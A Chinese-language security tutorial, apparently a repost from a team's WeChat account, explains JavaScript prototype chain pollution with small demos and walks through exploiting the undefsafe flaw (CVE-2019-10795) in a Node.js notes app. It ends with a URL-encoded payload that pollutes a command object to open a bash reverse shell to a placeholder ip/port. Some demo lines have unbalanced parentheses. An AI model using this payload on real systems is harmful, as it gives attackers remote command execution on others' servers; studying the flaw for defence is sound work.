什么是原型链污染
原型链污染是一种针对JavaScript运行时的注入攻击,通过原型链污染,攻击者可能控制对象的默认值,这允许攻击者村该应用程序的逻辑,还可能到安置拒绝服务狗估计,严重可导致RCE
prototype原型
java和cpp这两种语言都是基于类的,继承也是基于类的,javascript他本身不提供类的实现,虽然语法中有类(class)但其实并无卵,javascript还是基于原型的
继承
javascript只有一种结构:对象。每个实列对象都有一个私有的__proto__指向他的构造函数的原型对象,改原型对象也有一个自己的__proto__,层层向上直到一个对象的原型为null时停止,因为null时最后一个环节
小列子,不到null:
一直往上,到空以及之后看看
再来看继承是什么,继承我们可以这样理解,姓的传承嘛
这里,son类继承了father类,再沿用son,last_name首先会在son对象里面找,son中没有last_name就会往father类中找===>son.__proto__,若,还没有就会继续再往上找直到null===>son.__proto__.__proto__直到null,可我们这里father类中有
原型链污染原理
简单说就是通过修改proto的值来修改属性
demo1:
var t4x0r = {num:4}
t4x0r.__proto__.num = 7
cc = {}
console.log(cc.num)
我们发现我们并没有队cc这个空值经行更改以及添加值,但经过__proto__处理t4x0r的值时cc也被更改
说明了:js中任何对象变量都会继承
demo2:
let t4x0r = {}
console.log(t4x0r)
let xiao = {}
console.log(xiao)
t4x0r.__proto__["ccc"] = "aaaa"; //t4x0r变量里继承aaaa这个键
console.log(t4x0r) //空的
console.log(t4x0r.__proto__) //有了
console.log(xiao.__proto__) //有了
我们只对T4x0r这个变量进行了处理,但是我们并没有对xiao变量处理,但我们通过更改t4x0r这个变量之后xiao变量也变化了
demo3:
t4x0r['qy'] = 'xiao'
t4x0r['xq'] = 'k4'
console.log(t4x0r)
for(let i in t4x0r){console.log(i)} //打印出键名
for(let i in t4x0r){console.log(t4x0r[i]) //打印出值
//show time
x = {}
x['c'] = 'qqq'
x['v'] = 'lll'
for(let i in x){console.log(x[i])}
x.__proto__.num=12
for(let i in x){console.log(x[i]} //多了12
for(let i in x){console.log(t4x0r[i]} //t4x0r改变了
改了继承,其他的变量都会变,这就是污染
example
Undefsafe 模块原型链污染(CVE-2019-10795)
不光是 Merge 操作容易造成原型链污染,undefsafe 模块也可以原型链污染。undefsafe 是 Nodejs 的一个第三方模块,其核心为一个简单的函数
上图为污染入口
我们既然要污染那必须有参数传入,找下传如的地方
第一个箭头我们可以直到网站路由时/edit_note,如果我们get去请求这个路由网站会抛出please use post to edit a note我们看下面post方式,让我们传如3个参数:id,author,raw
我们现在找到了参数接收点,参数,污染点,现在就是看我们要达成什么目的
路由/status这个地方可以发现commands参数执行了系统命令,这里说下搞过Linux的都知道uptime是执行出来类似时间的
往下看我们发现了exec函数会执行系统命令我们现在就要污染commands,让他执行我们想执行的参数
为什么说我们这里可以执行系统命令,因为此js引用了child_process,如果对文件操作一般会引入fs
小细节:Notes.note_list和commands都是赋予对象的值,原型链都是object,所有只需要__proto__向原型返回一次,然后为啥可以调用到我们用原型链污染的值
所以我们再edit_note地方传如我们要执行的参数,然后再status触发
payload:
id=__proto__&author=bash+-i+%3e%26+%2fdev%2ftcp%2fip%2fport+0%3e%261&raw=lan
这里要url编码因为bash写shell会有&
这里污染之后我们command变量会多一条,如下图:
懒的解码了
参考文章:https://blog.csdn.net/jvkyvly/article/details/119911074
想加入团队的师傅,查看
原文始发于微信公众号(HashRun安全团队):Nodejs原型链污染
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论